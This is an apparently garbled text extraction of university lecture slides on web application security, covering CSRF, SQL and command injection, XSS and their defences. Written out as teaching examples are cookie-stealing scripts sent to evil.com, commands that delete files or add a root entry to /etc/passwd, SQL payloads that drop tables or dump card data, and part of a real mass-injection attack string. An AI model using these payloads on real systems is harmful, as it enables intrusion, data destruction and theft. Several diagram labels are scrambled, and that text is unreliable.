Webapps
Webapps
Vitaly Shmatikov
slide 2
Web Applications
Big trend: software as a Web-based service
• Online banking, shopping, government, bill payment,
tax prep, customer relationship management, etc.
• Cloud computing
Applications hosted on Web servers
• Written in a mixture of PHP, Ruby, Java, Perl, ASP
Security is rarely the main concern
• Poorly written scripts with inadequate input validation
• Sensitive data stored in world-readable files
• Recent push from Visa and Mastercard to improve
security of data management (PCI standard)
slide 3
Top Web Vulnerabilities
XSRF (CSRF) - cross-site request forgery
• Bad website forces the user’s browser to send a
request to a good website
SQL injection
• Malicious data sent to a website is interpreted as
code in a query to the website’s back-end database
XSS (CSS) – cross-site scripting
• Malicious code injected into a trusted context (e.g.,
malicious data presented by an honest website
interpreted as code by the user’s browser)
slide 4
Cookie-Based Authentication Redux
Browser Server
POST/login.
cgi
u t h en t i ca to r
Set-cookie: a
GET…
Cookie:
authentica
to r
response
slide 5
Browser Sandbox Redux
Based on the same origin policy (SOP)
Active content (scripts) can send anywhere!
• Some ports inaccessible - e.g., SMTP (email)
Can only read response from the same origin
slide 6
Cross-Site Request Forgery
Users logs into bank.com, forgets to sign off
• Session cookie remains in browser state
User then visits a malicious website containing
<form name=BillPayForm
action=http://bank.com/BillPay.php>
<input name=recipient value=badguy> …
<script> document.BillPayForm.submit(); </script>
Browser sends cookie, payment request fulfilled!
Lesson: cookie authentication is not sufficient
when side effects can happen
slide 7
Sending a Cross-Domain POST
Cookie: SessionID=523FA4cd2E
s e s s ion
lis h
1 es ta b
re q ue st
d fo rged
4 s en
2 v
is it s
3 erve
User victim re c e r
ive
mal
iciou Attack server
s pa
g e
Home router
r e r o ut e r
u
1 config
q ues t
ged re
n d fo r
4 se
2 visit s
it e
3 r
e c ei v
User e ma
liciou Bad website
s pa g
e
slide 11
XSRF True Story (1)
[Alex Stamos]
www.cybervillians.com/news.html
HTML and JS
B er n a n k e R ea lly a n Alien ?
script
HTML Form POSTs StockBroker.com
Referer validation
Referer:
http://www.facebook.com/home.php
X-Requested-By: XMLHttpRequest
slide 14
Add Secret Token to Forms
<input type=hidden value=23a3af01b>
Hash of user ID
• Can be forged by attacker
Session ID
• If attacker has access to HTML or URL of the page
(how?), can learn session ID and hijack the session
Session-independent nonce – Trac
• Can be overwritten by subdomains, network attackers
Need to bind session ID to the token (how?)
• CSRFx, CSRFGuard - manage state table at the server
• Keyed HMAC of session ID – no extra state!
slide 15
Secret Token: Example
slide 16
Referer Validation
Referer:
http://www.facebook.com/home.php
Referer:
http://www.evil.com/attack.html
? Referer:
slide 17
Why Not Always Strict Checking?
Why might the referer header be suppressed?
• Stripped by the organization’s network filter
– For example, http://intranet.corp.apple.com/
projects/iphone/competitors.html
• Stripped by the local machine
• Stripped by the browser for HTTPS HTTP transitions
• User preference in browser
• Buggy browser
Web applications can’t afford to block these users
Referer rarely suppressed over HTTPS
• Logins typically use HTTPS – helps against login XSRF!
slide 18
XSRF with Lenient Referer Checking
http://www.attacker.com
redirects to
common browsers don’t send referer header
ftp://www.attacker.com/index.html
javascript:"<script> /* XSRF */ </script>"
data:text/html,<script> /* XSRF */ </script>
slide 19
Custom Header
XMLHttpRequest is for same-origin requests
• Browser prevents sites from sending custom HTTP
headers to other sites, but can send to themselves
• Can use setRequestHeader within origin
Limitations on data export
• No setRequestHeader equivalent
• XHR 2 has a whitelist for cross-site requests
POST requests via AJAX
X-Requested-By: XMLHttpRequest
No secrets required
slide 20
Broader View of XSRF
Abuse of cross-site data export
• SOP does not control data export
• Malicious webpage can initiates requests from the
user’s browser to an honest server
• Server thinks requests are part of the established
session between the browser and the server
Many reasons for XSRF attacks, not just “session
riding”
slide 21
Login XSRF
slide 22
Referer Header Helps, Right?
slide 23
Laundering Referer Header
referer: http://www.siteA.com siteB
slide 24
XSRF Recommendations
Login XSRF
• Strict referer validation
• Login forms typically submitted over HTTPS, referer
header not suppressed
HTTPS sites, such as banking sites
• Strict referer validation
Other sites
• Use Ruby-on-Rails or other framework that
implements secret token method correctly
slide 25
Other Identity Misbinding Attacks
User’s browser logs into website, but site
associates session with the attacker
• Capture user’s private information (Web searches,
sent email, etc.)
• Present user with malicious content
Many examples
• Login XSRF is one example of this
• OpenID
• PHP cookieless authentication
slide 26
OpenID
slide 27
PHP Cookieless Authentication
slide 28
Server Side of Web Application
Runs on a Web server (application server)
Takes input from remote users via Web server
Interacts with back-end databases and other
servers providing third-party content
Prepares and outputs results for users
• Dynamically generated HTML pages
• Content from many different sources, often
including users themselves
– Blogs, social networks, photo-sharing websites…
slide 29
Dynamic Web Application
Database
server
slide 30
PHP: Hypertext Preprocessor
Server scripting language with C-like syntax
Can intermingle static HTML and code
<input value=<?php echo $myvalue; ?>>
Can embed variables in double-quote strings
$user = “world”; echo “Hello $user!”;
or $user = “world”; echo “Hello” . $user .
“!”;
Form data in global arrays $_GET, $_POST, …
slide 31
Command Injection in PHP
Server-side PHP calculator:
$in = $_GET[‘val'];
eval('$op1 = ' . $in . ';');
Good user calls Supplied by the user!
http://victim.com/calc.php?val=5
URL-encoded
Bad user calls
http://victim.com/calc.php?val=5 ; system('rm *.*')
calc.php executes
eval(‘$op1 = 5; system('rm *.*');');
slide 32
More Command Injection in PHP
Typical PHP server-side code for sending email
$email = $_POST[“email”]
$subject = $_POST[“subject”]
system(“mail $email –s $subject < /tmp/joinmynetwork”)
Attacker posts
http://yourdomain.com/mail.pl?
[email protected]&
subject=foo < /usr/passwd; ls
OR
http://yourdomain.com/mail.pl?
[email protected]&subject=foo;
echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
slide 33
SQL
Widely used database query language
Fetch a set of records
SELECT * FROM Person WHERE Username=‘Vitaly’
Add data to the table
INSERT INTO Key (Username, Key) VALUES (‘Vitaly’, 3611BBFF)
Modify data
UPDATE Keys SET Key=FA33452D WHERE PersonID=5
Query syntax (mostly) independent of vendor
slide 34
Typical Query Generation Code
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key " .
"WHERE Username='$selecteduser'";
$rs = $db->executeQuery($sql);
slide 35
Typical Login Prompt
slide 36
User Input Becomes Part of Query
slide 37
Normal Login
slide 38
Malicious User Input
slide 39
SQL Injection Attack
SELECT passwd
Enter FROM USERS
Username WHERE uname
Web & IS ‘’; DROP TABLE
Password Web
browser USERS; -- ’ DB
server
(Client)
slide 40
Exploits of a Mom
http://xkcd.com/327/
slide 41
SQL Injection: Basic Idea
Victim server
o us form
Attacker post malici
1
2
3 receive data from DB unintended
query
If not UserFound.EOF
Only true if the result of SQL
Authentication correct query is not empty, i.e.,
user/pwd is in the database
else Fail
slide 43
Using SQL Injection to Log In
User gives username ′ OR 1=1 --
Web server executes query
set UserFound=execute(
SELECT * FROM UserTable WHERE
username=‘’ OR 1=1 -- … );
Always true! Everything after -- is ignored!
slide 44
Another SQL Injection Example
[From “The Art of Intrusion”]
To authenticate logins, server runs this SQL
command against the user database:
SELECT * WHERE user=‘name’ AND pwd=‘passwd’
User enters ’ OR WHERE pwd LIKE ‘% as both
name and passwd Wildcard matches any password
Server executes
SELECT * WHERE user=‘’ OR WHERE pwd LIKE ‘%’
AND pwd=‘’ OR WHERE pwd LIKE ‘%’
Logs in with the credentials of the first person in
the database (typically, administrator!)
slide 45
It Gets Better
User gives username
′ exec cmdshell ‘net user badguy badpwd’ / ADD --
Web server executes query
set UserFound=execute(
SELECT * FROM UserTable WHERE
username= ‘’ exec … -- … );
Creates an account for badguy on DB server
slide 46
Pull Data From Other Databases
User gives username
’ AND 1=0
UNION SELECT cardholder, number,
exp_month, exp_year FROM creditcards
Results of two queries are combined
Empty table from the first query is displayed
together with the entire contents of the credit
card database
slide 47
More SQL Injection Attacks
Create new users
’; INSERT INTO USERS (‘uname’,‘passwd’,‘salt’)
VALUES (‘hacker’,‘38a74f’, 3234);
Reset password
’; UPDATE USERS SET [email protected]
WHERE [email protected]
slide 48
Uninitialized Inputs
Creates a password with 8
/* php-files/lostpassword.php */ random characters, assuming
$new_pass is set to NULL
for ($i=0; $i<=7; $i++)
$new_pass .= chr(rand(97,122))
…
$result = dbquery(“UPDATE ”.$db_prefix.“users
SET user_password=md5(‘$new_pass’)
WHERE user_id=‘”.$data[‘user_id’].“ ’ ”);
SQL query setting
password in the DB
In normal execution, this becomes
UPDATE users SET user_password=md5(‘????????’)
WHERE user_id=‘userid’
slide 49
Exploit
Only works against older versions of PHP
slide 50
Second-Order SQL Injection
Data stored in the database can be later used to
conduct SQL injection
For example, user manages to set uname to
admin’ --
• This vulnerability could exist if input validation and
escaping are applied inconsistently
– Some Web applications only validate inputs coming from the
Web server but not inputs coming from the back-end DB
• UPDATE USERS SET passwd=‘cracked’
WHERE uname=‘admin’ --’
Solution: treat all parameters as dangerous
slide 51
CardSystems Attack (June 2005)
CardSystems was a major credit card processing
company
Put out of business by a SQL injection attack
• Credit card numbers stored unencrypted
• Data on 263,000 accounts stolen
• 43 million identities exposed
slide 52
SQL Injection in the Real World
http://www.ireport.com/docs/DOC-11831
slide 54
Main Steps in April 2008 Attack
Use Google to find sites using a particular ASP
style vulnerable to SQL injection
Use SQL injection to modify the pages to include
a link to a Chinese site nihaorr1.com
• Do not visit that site – it serves JavaScript that exploits
vulnerabilities in IE, RealPlayer, QQ Instant Messenger
Attack used automatic tool; can be configured to
inject whatever you like into vulnerable sites
There is some evidence that hackers may have
gotten paid for each victim’s visit to nihaorr1.com
slide 55
Part of the SQL Attack String
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))
+'‘ ''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor;
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(
%20AS%20NVARCHAR(4000));EXEC(@S);-- slide 56
Preventing SQL Injection
Validate all inputs
• Filter out any character that has special meaning
– Apostrophes, semicolons, percent symbols, hyphens,
underscores, …
• Check the data type (e.g., input must be an integer)
Whitelist permitted characters
• Blacklisting “bad” characters doesn’t work
– Forget to filter out some characters
– Could prevent valid input (e.g., last name O’Brien)
• Allow only well-defined set of safe values
– Set implicitly defined through regular expressions
slide 57
Escaping Quotes
Special characters such as ’ provide distinction
between data and code in queries
For valid string inputs containing quotes, use
escape characters to prevent the quotes from
becoming part of the query code
Different databases have different rules for
escaping
• Example: escape(o’connor) = o\’connor or
escape(o’connor) = o’’connor
slide 58
Prepared Statements
In most injection attacks, data are interpreted
as code – this changes the semantics of a query
or command generated by the application
Bind variables: placeholders guaranteed to be
data (not code)
Prepared statements allow creation of static
queries with bind variables; this preserves the
structure of the intended query
slide 59
Prepared Statement: Example
http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html
PreparedStatement ps =
db.prepareStatement("SELECT pizza, toppings, quantity, order_day "
+ "FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParamenter("month")));
ResultSet res = ps.executeQuery(); Bind variable
(data placeholder)
slide 61
More Bad Input Validation
[From “The Art of Intrusion”]
Web form for traceroute doesn’t check for “&”
type <IP addr> & <any shell command>
PHF (phonebook) CGI script does not check input
for newline execute any shell command
• Open xterm to attacker’s X server, display pwd file
• Use it to show directory contents, learn that Apache is
running as “nobody”, change config file so that it runs
as “root” next time, break in after a blackout
Perl script doesn’t check for backticks steal
mailing list from a porn site for spamming
slide 62
Echoing / “Reflecting” User Input
Classic mistake in server-side applications
http://naive.com/search.php?term=“Britney Spears”
Or
GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
slide 63
Cross-Site Scripting (XSS)
How about this one?
What is the ORIGIN
evil.com of this script? naive.com
hello.cgi
Access some web page
<iframe src=
http://naive.com/hello.cgi? GET/ hello.cgi?name=
name=<script>win.open( <script>win.open(“http://
“http://evil.com/steal.cgi? evil.com/steal.cgi?cookie=”+ hello.cgi
cookie=”+document.cookie) document.cookie)</script> executed
</script>>
<HTML>Hello, dear
Forces victim’s browser to <script>win.open(“http://
call hello.cgi on naive.com evil.com/steal.cgi?cookie=”
with this script as “name” +document.cookie)</script>
Welcome!</HTML>
GET/ steal.cgi?cookie=
Interpreted as JavaScript
by victim’s browser;
Why does the opens window and calls
browser allow this? victim’s browser steal.cgi on evil.com
slide 64
Reflected XSS
User is tricked into visiting an honest website
• Phishing email, link in a banner ad, comment in a blog
Bug in website code causes it to echo to the
user’s browser an arbitrary attack script
• The origin of this script is now the website itself!
Script can manipulate website contents (DOM) to
show bogus information, request sensitive data,
control form fields on this page and linked pages,
cause user’s browser to attack other websites
• This violates the “spirit” of the same origin policy
slide 65
Basic Pattern for Reflected XSS
Attack server
w e b site
1 visit
u s p a ge
e m a licio
iv
2 rece l e d a ta
n d va l ua b
5 se
3
User victim click
4 on l
echo ink Server victim
us e r
inpu
t
slide 66
Adobe PDF Viewer (before version 7.9)
slide 67
XSS Against PDF Viewer
Attacker locates a PDF file hosted on site.com
Attacker creates a URL pointing to the PDF, with
JavaScript malware in the fragment portion
http://site.com/path/to/file.pdf#s=javascript:malcode
Attacker entices a victim to click on the link
If the victim has Adobe Acrobat Reader Plugin
7.0.x or less, malware executes
• Its “origin” is site.com, so it can change content,
steal cookies from site.com
slide 68
Not Scary Enough?
PDF files on the local filesystem:
file:///C:/Program%20Files/Adobe/Acrobat%207.0/Reso
urce/ENUtxt.pdf#blah=javascript:alert("XSS");
slide 69
Where Malicious Scripts Lurk
User-created content
• Social sites, blogs, forums, wikis
When visitor loads the page, website displays the
content and visitor’s browser executes the script
• Many sites try to filter out scripts from user content,
but this is difficult!
slide 70
Stored XSS
Attack server
bl e da ta
s t e al valua
4
1
Inject
2 re malicious
User victim que script
3 re s t co
ceiv n te n Store bad stuff
em t
alici
o us
scrip
t
Users view or
download content
Server victim
slide 71
XSS in Orkut
http://antrix.net/journal/techtalk/orkut_xss.html
slide 73
XSS in the Wild
http://xssed.com/archive
slide 74
Stored XSS Using Images
Suppose pic.jpg on web server contains HTML
• Request for http://site.com/pic.jpg results in:
HTTP/1.1 200 OK
…
Content-Type: image/jpeg
<html> fooled ya </html>
• IE will render this as HTML (despite Content-Type)
Photo-sharing sites
• What if attacker uploads an “image” that is a script?
slide 75
XSS of the Third Kind Attack code does not
appear in HTML sent
over network
Script builds webpage DOM in the browser
<HTML><TITLE>Welcome!</TITLE>
Hi <SCRIPT>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
</HTML>
Works fine with this URL
• http://www.example.com/welcome.html?name=Joe
But what about this one?
• http://www.example.com/welcome.html?name=
<script>alert(document.cookie)</script>
slide 76
Using Login XSRF for XSS
slide 77
Web 2.0
[Alex Stamos]
1. HTTP GET
2. HTML and JS
3. Asynchronous GET
` 4. Javascript to wrap in eval
slide 79
XSS in AJAX (2)
[Alex Stamos]
someObject.innerHTML(inboundJSON.people[0].address); //
Vulnerable
document.write(inboundJSON.people[0].address); // Vulnerable
someObject.innerText(inboundJSON.people[0].address); // Safe
slide 83
What Does This Script Do?
slide 84
Preventing Cross-Site Scripting
Any user input and client-side data must be
preprocessed before it is used inside HTML
Remove / encode (X)HTML special characters
• Use a good escaping library
– OWASP ESAPI (Enterprise Security API)
– Microsoft’s AntiXSS
• In PHP, htmlspecialchars(string) will replace all special
characters with their HTML codes
– ‘ becomes ' “ becomes " & becomes &
• In ASP.NET, Server.HtmlEncode(string)
slide 85
Evading XSS Filters
Preventing injection of scripts into HTML is hard!
• Blocking “<” and “>” is not enough
• Event handlers, stylesheets, encoded inputs (%3C), etc.
• phpBB allowed simple HTML tags like <b>
<b c=“>” onmouseover=“script” x=“<b ”>Hello<b>
Beware of filter evasion tricks (XSS Cheat Sheet)
• If filter allows quoting (of <script>, etc.), beware of
malformed quoting: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
• Long UTF-8 encoding
• Scripts are not only in <script>:
<iframe src=`https://bank.com/login’ onload=`steal()’>
slide 86
MySpace Worm (1)
http://namb.la/popular/tech.html
http://www.victim.com?var=<script> alert(‘xss’)
slide 93
Busting Frame Busting
Frame busting code
• <script> if(top.location != self.location) // framebust
</script>
Request:
• http://www.victim.com?var=<script> if (top …
Rendered
• <sc#pt> if(top.location != self.location)
• What has just happened?
Same problem in Chrome’s XSS auditor
slide 94
httpOnly Cookies
GET
Browser
Server
HTTP Header:
Set-cookie: NAME=VALUE ;
httpOnly
slide 95
Post-XSS World
[“Postcards from the post-XSS world”]
slide 96
Dangling Markup Injection
[“Postcards from the post-XSS world”]
<img src='http://evil.com/log.cgi?
Injected tag
…
<input type="hidden" name="xsrf_token" value="12345">
…'
</div>
slide 97
Another Variant
[“Postcards from the post-XSS world”]
<form action='http://evil.com/log.cgi'><textarea>
…
<input type="hidden" name="xsrf_token" value="12345">
…
<EOF>
slide 98
Rerouting Existing Forms
[“Postcards from the post-XSS world”]
<form action='http://evil.com/log.cgi>
…
<form action='update_profile.php'>
…
<input type="text" name="pwd" value="trustno1">
…
</form>
slide 99
Namespace Attacks
[“Postcards from the post-XSS world”]
slide 100
Other Injection Possibilities
[“Postcards from the post-XSS world”]
slide 102
User Input Validation
[“NoTamper”, Bisht et al.]
onSubmit=
validateCard();
validateQuantities();
Validation Ok?
Yes No
slide 104
Problem: Client Is Untrusted
[“NoTamper”, Bisht et al.]
Previously rejected
values sent to server
Inputs must be
re-validated at
server!
slide 105
Online Banking
[“NoTamper”, Bisht et al.]
Client-side constraints:
from IN (Accnt1, Accnt2)
to IN (Accnt1, Accnt2)
Server-side code:
SelfReliance.com transfer money from to
slide 106
Online Shopping
[“NoTamper”, Bisht et al.]
Client-side constraints:
CodeMicro.com
quantity1 ≥ 0
quantity2 ≥ 0
Server-side code:
total = quantity1 * price1 +
quantity2 * price2
Client-side constraints:
userId == 96 (hidden field)
Hidden
Field
Server-side code:
Update profile with id 96
with new details
slide 108
Content Management
[Bisht et al.]
Server-side code:
privilege = non-admin;
if ( _COOKIE[‘make_install_prn’]
== 1 )
privilege = admin;
slide 109
Cashier-as-a-Service
[Wang et al.]
Web store
e ord er
tt h
abou
Shopper i c a tion
mu n
com Joint decision:
is an order
appropriately paid?
comm
u nicat
ion ab
out th
e p a ym
ent
slide 110
nopCommerce + Amazon Simple Pay
[Wang et al.]
Message A Message A
Message B
Message A redirects to
Message A redirects to store.com/finalizeOrder?
[orderID1]store store.com/finalizeOrder?[orderID2]store